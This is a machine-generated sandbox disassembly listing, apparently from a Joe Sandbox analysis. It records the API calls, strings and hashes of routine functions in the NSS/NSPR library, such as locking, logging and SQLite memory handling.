Part of subcall function 6CF4CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CF4CB26

sqlite3_exec.NSS3(?,?,6D092F70,?,?), ref: 6D092DF9
sqlite3_free.NSS3(00000000), ref: 6D092E2C
sqlite3_free.NSS3(?), ref: 6D092E3A
sqlite3_free.NSS3(?), ref: 6D092E52
sqlite3_mprintf.NSS3(6D0FAAF9,?), ref: 6D092E62
sqlite3_free.NSS3(?), ref: 6D092E70
sqlite3_free.NSS3(?), ref: 6D092E89
sqlite3_free.NSS3(?), ref: 6D092EBB
sqlite3_free.NSS3(?), ref: 6D092ECB
sqlite3_free.NSS3(00000000), ref: 6D092F3E
sqlite3_free.NSS3(?), ref: 6D092F4C

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 23c8eec8afb349d94970b1ebf0ef60635c2f723f53c2591022dd1d77c14f1b17
Instruction ID: feff939d31a8589cf0815df68742efab1bc0b19244a6c646f54420d627ebb3ba
Opcode Fuzzy Hash: 23c8eec8afb349d94970b1ebf0ef60635c2f723f53c2591022dd1d77c14f1b17
Instruction Fuzzy Hash: A0618DB5E012068BEB10CFB8D880BEEBBF5AF48348F515024DD55AB301E771E945DBA1

Function 6CFE2C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CFE3F23,?,6CFDE477,?,?,?,00000001,00000000,?,?,6CFE3F23,?), ref: 6CFE2C62
EnterCriticalSection.KERNEL32(0000001C,?,6CFDE477,?,?,?,00000001,00000000,?,?,6CFE3F23,?), ref: 6CFE2C76
PL_HashTableLookup.NSS3(00000000,?,?,6CFDE477,?,?,?,00000001,00000000,?,?,6CFE3F23,?), ref: 6CFE2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CFDE477,?,?,?,00000001,00000000,?,?,6CFE3F23,?), ref: 6CFE2C93

Part of subcall function 6D06DD70: TlsGetValue.KERNEL32 ref: 6D06DD8C
Part of subcall function 6D06DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D06DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CFDE477,?,?,?,00000001,00000000,?,?,6CFE3F23,?), ref: 6CFE2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CFDE477,?,?,?,00000001,00000000,?,?,6CFE3F23,?), ref: 6CFE2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CFDE477,?,?,?,00000001,00000000,?,?,6CFE3F23), ref: 6CFE2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CFDE477,?,?,?,00000001,00000000,?), ref: 6CFE2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CFDE477,?,?,?,00000001,00000000,?), ref: 6CFE2D4D
EnterCriticalSection.KERNEL32(?), ref: 6CFE2D61
PL_HashTableLookup.NSS3(?,?), ref: 6CFE2D71
PR_Unlock.NSS3(?), ref: 6CFE2D7E

Part of subcall function 6CFB07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF4204A), ref: 6CFB07AD
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF4204A), ref: 6CFB07CD
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF4204A), ref: 6CFB07D6
Part of subcall function 6CFB07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF4204A), ref: 6CFB07E4
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,6CF4204A), ref: 6CFB0864
Part of subcall function 6CFB07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CFB0880
Part of subcall function 6CFB07A0: TlsSetValue.KERNEL32(00000000,?,?,6CF4204A), ref: 6CFB08CB
Part of subcall function 6CFB07A0: TlsGetValue.KERNEL32(?,?,6CF4204A), ref: 6CFB08D7
Part of subcall function 6CFB07A0: TlsGetValue.KERNEL32(?,?,6CF4204A), ref: 6CFB08FB

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 26372742a202997da88a304e4d72de0af773bba2e5659fa783cc92a7891edfde
Instruction ID: f786283329636af1bf03806d84c75291a6953302156e7d2f4ab8973041975c6b
Opcode Fuzzy Hash: 26372742a202997da88a304e4d72de0af773bba2e5659fa783cc92a7891edfde
Instruction Fuzzy Hash: B151E7B6C00105BBDB009F24EC85AAAB779BF09258B198520ED1997711FB32ED64CBE1

Function 6CFD7C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6D122120,Function_00097E60,?,?,?,?,?,6D04F9CF,6D04FAD0,00000000), ref: 6CFD7C81

Part of subcall function 6CF44C70: TlsGetValue.KERNEL32(?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44C97
Part of subcall function 6CF44C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44CB0
Part of subcall function 6CF44C70: PR_Unlock.NSS3(?,?,?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44CC9

TlsGetValue.KERNEL32 ref: 6CFD7CA0
EnterCriticalSection.KERNEL32(?), ref: 6CFD7CB4
PR_Unlock.NSS3 ref: 6CFD7CCF

Part of subcall function 6D06DD70: TlsGetValue.KERNEL32 ref: 6D06DD8C
Part of subcall function 6D06DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D06DDB4

TlsGetValue.KERNEL32 ref: 6CFD7D04
EnterCriticalSection.KERNEL32(?), ref: 6CFD7D1B
realloc.MOZGLUE(-00000050), ref: 6CFD7D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFD7DF4
PR_Unlock.NSS3 ref: 6CFD7E0E

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 9726a1b7dfd5ba2b5d0ef97b0aa7796dc4a5510f6d45be7b3b93388df123a803
Instruction ID: 57efc270db0b13244572f59f14b01e92c2355e4da75d484a56eba1b157e7aa51
Opcode Fuzzy Hash: 9726a1b7dfd5ba2b5d0ef97b0aa7796dc4a5510f6d45be7b3b93388df123a803
Instruction Fuzzy Hash: 8951D8B5814101AFDF115F24EC42F6A77B5FB42318F2B413BDE044B615EB72A490CA91

Function 6CF44C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44CB0
PR_Unlock.NSS3(?,?,?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44D97
PR_Lock.NSS3(?,?,?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44DBA
PR_WaitCondVar.NSS3 ref: 6CF44DD4
PR_Unlock.NSS3(?,?,?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44DEF

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 2a0dcec8b2f8d371d1f6dcfb43d05b39bfed4ce9dc85019307a141798e07332b
Instruction ID: 2cdc81130678ef99b21c155531ab43914eae6a5efa331f53edf07daff46a4d84
Opcode Fuzzy Hash: 2a0dcec8b2f8d371d1f6dcfb43d05b39bfed4ce9dc85019307a141798e07332b
Instruction Fuzzy Hash: F5416CB5908655CFCB00EF79E58465ABFF4BF09314F068669D898AB702E771D8C0CB91

Function 6CFE8F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CFDDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFE8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CFDDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFE8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CFDDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFE8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CFDDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CFE9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFDDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFE9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CFDDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFE905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CFDDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CFE9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFDDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFE90EC

Part of subcall function 6CFB0F00: PR_GetPageSize.NSS3(6CFB0936,FFFFE8AE,?,6CF416B7,00000000,?,6CFB0936,00000000,?,6CF4204A), ref: 6CFB0F1B
Part of subcall function 6CFB0F00: PR_NewLogModule.NSS3(clock,6CFB0936,FFFFE8AE,?,6CF416B7,00000000,?,6CFB0936,00000000,?,6CF4204A), ref: 6CFB0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFDDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFE9111

Strings

nm, xrefs: 6CFE90A3

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nm
API String ID: 2831689957-662884256
Opcode ID: 8f12c7e834eb4df31689044c3c9250e874d40bbfdfcacda3e4398ec19bd09dfa
Instruction ID: f6a5e9bf472819a6186bd6ca269b487a1dad087c3efdd154aa9de45eb890680a
Opcode Fuzzy Hash: 8f12c7e834eb4df31689044c3c9250e874d40bbfdfcacda3e4398ec19bd09dfa
Instruction Fuzzy Hash: AC51C9B1908244AFDF00EF38D488799BBF5BF49314F064569DD449B702EB71E984CBA1

Function 6D0D7CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6D0D7CE0

Part of subcall function 6D089BF0: TlsGetValue.KERNEL32(?,?,?,6D0D0A75), ref: 6D089C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0D7D36
PR_Realloc.NSS3(?,00000080), ref: 6D0D7D6D
PR_GetCurrentThread.NSS3 ref: 6D0D7D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6D0D7DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0D7DD8
malloc.MOZGLUE(00000080), ref: 6D0D7DF8
PR_GetCurrentThread.NSS3 ref: 6D0D7E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6D0D7DF0
:%s:%d:0x%lx, xrefs: 6D0D7DB9

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 0e8927d7deb27a0c7ff969d6b947236003f3decc1665dd231b3d13f75261dd9e
Instruction ID: 39bed35054ad0c9d042a4ed1ba0d607b2ec800516f8f67ef03b1387bf9ce7c90
Opcode Fuzzy Hash: 0e8927d7deb27a0c7ff969d6b947236003f3decc1665dd231b3d13f75261dd9e
Instruction Fuzzy Hash: 184191B1E003059FEB44CF28DD81B7A77B6BFC4318B15856EE91A8B252D731E845CBA1

Function 6D0D7E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0D7E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6D0D7E46

Part of subcall function 6CFB1240: TlsGetValue.KERNEL32(00000040,?,6CFB116C,NSPR_LOG_MODULES), ref: 6CFB1267
Part of subcall function 6CFB1240: EnterCriticalSection.KERNEL32(?,?,?,6CFB116C,NSPR_LOG_MODULES), ref: 6CFB127C
Part of subcall function 6CFB1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CFB116C,NSPR_LOG_MODULES), ref: 6CFB1291
Part of subcall function 6CFB1240: PR_Unlock.NSS3(?,?,?,?,6CFB116C,NSPR_LOG_MODULES), ref: 6CFB12A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6D0D7EAF
PR_ImportFile.NSS3(?), ref: 6D0D7ECF
PR_GetCurrentThread.NSS3 ref: 6D0D7ED6
PR_ImportTCPSocket.NSS3(?), ref: 6D0D7F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6D0D7F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6D0D7F15

Strings

NSPR_INHERIT_FDS, xrefs: 6D0D7E41
%d:0x%lx, xrefs: 6D0D7EA9

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 3a2071de83dc5b5db5912fb95380e99e6db41224b9e8d847a83b68f6e00c8fa8
Instruction ID: 3d45360eed1d474f7c0d63d7852e647333ccbe0e9e794458835c289941634b63
Opcode Fuzzy Hash: 3a2071de83dc5b5db5912fb95380e99e6db41224b9e8d847a83b68f6e00c8fa8
Instruction Fuzzy Hash: 35310171D143168FFB919B69C840BBFB7E9BB89344F514426E90693212E7719D04CB92

Function 6CFF6C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CFF6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFF6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFF6CA3

Part of subcall function 6D0DD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0DD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFF6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CFF6CD5

Strings

pMechanism = 0x%p, xrefs: 6CFF6CD0
(CK_INVALID_HANDLE), xrefs: 6CFF6C9C
nm, xrefs: 6CFF6CF4, 6CFF6D1F
C_DigestInit, xrefs: 6CFF6C61
hSession = 0x%x, xrefs: 6CFF6C7E, 6CFF6C8E

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nm
API String ID: 1003633598-3112254766
Opcode ID: 9abb3a54813962db80dfa59cc435feffd7cf5d1091e21b08b0bd8829e0e30f69
Instruction ID: 5aff3399aafec3f6c694517598293ccfd6c0fce6d2bfe0240ee37899ae2d1a89
Opcode Fuzzy Hash: 9abb3a54813962db80dfa59cc435feffd7cf5d1091e21b08b0bd8829e0e30f69
Instruction Fuzzy Hash: 63218A71A00204AFEB008F55ED99F5F37B5EB42309F054025F51C97622DFB2C889CBA2

Function 6CFF9DD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6CFF9DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFF9E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFF9E33

Part of subcall function 6D0DD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0DD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFF9E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6CFF9E65

Strings

C_SessionCancel, xrefs: 6CFF9DF1
(CK_INVALID_HANDLE), xrefs: 6CFF9E2C
nm, xrefs: 6CFF9E7D, 6CFF9EA8
flags = 0x%x, xrefs: 6CFF9E60
hSession = 0x%x, xrefs: 6CFF9E0E, 6CFF9E1E

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel$nm
API String ID: 1003633598-178683218
Opcode ID: da67c4c033583da8669ed860df52dd52f34535079227ba44d62c83c98ed59e58
Instruction ID: 90cb2fc832ff644cf266cc5783e307545bf464e6da5afbb004e605be05c45abb
Opcode Fuzzy Hash: da67c4c033583da8669ed860df52dd52f34535079227ba44d62c83c98ed59e58
Instruction Fuzzy Hash: 25210671501204AFEB108F54EC85FAE7774EB42308F054025E51DA7661DFB18985CAB2

Function 6D00ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6D00DE64), ref: 6D00ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D00ED22

Part of subcall function 6D01B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0F18D0,?), ref: 6D01B095

PL_FreeArenaPool.NSS3(?), ref: 6D00ED4A
PL_FinishArenaPool.NSS3(?), ref: 6D00ED6B
PR_CallOnce.NSS3(6D122AA4,6D0212D0), ref: 6D00ED38

Part of subcall function 6CF44C70: TlsGetValue.KERNEL32(?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44C97
Part of subcall function 6CF44C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44CB0
Part of subcall function 6CF44C70: PR_Unlock.NSS3(?,?,?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44CC9

SECOID_FindOID_Util.NSS3(?), ref: 6D00ED52
PR_CallOnce.NSS3(6D122AA4,6D0212D0), ref: 6D00ED83
PL_FreeArenaPool.NSS3(?), ref: 6D00ED95
PL_FinishArenaPool.NSS3(?), ref: 6D00ED9D

Part of subcall function 6D0264F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6D02127C,00000000,00000000,00000000), ref: 6D02650E

Strings

security, xrefs: 6D00ED06

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: e023579aa1824192f19dc6de91eb414fa7a55c9dc1464453b67ea328ab025d7d
Instruction ID: 6da356f99192744e965c461a6bcd30e06ad3ff0c5418a93ee4faf47650e742b3
Opcode Fuzzy Hash: e023579aa1824192f19dc6de91eb414fa7a55c9dc1464453b67ea328ab025d7d
Instruction Fuzzy Hash: F9116672D082057BF7105760AC40B7F72B8FF4170CF850436E984B3582FB21A60886E7

Function 6D0D0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CFB2357), ref: 6D0D0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CFB2357), ref: 6D0D0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6D0D0EE6

Part of subcall function 6D0D09D0: PR_Now.NSS3 ref: 6D0D0A22
Part of subcall function 6D0D09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6D0D0A35
Part of subcall function 6D0D09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6D0D0A66
Part of subcall function 6D0D09D0: PR_GetCurrentThread.NSS3 ref: 6D0D0A70
Part of subcall function 6D0D09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6D0D0A9D
Part of subcall function 6D0D09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6D0D0AC8
Part of subcall function 6D0D09D0: PR_vsmprintf.NSS3(?,?), ref: 6D0D0AE8
Part of subcall function 6D0D09D0: EnterCriticalSection.KERNEL32(?), ref: 6D0D0B19
Part of subcall function 6D0D09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6D0D0B48
Part of subcall function 6D0D09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6D0D0C76
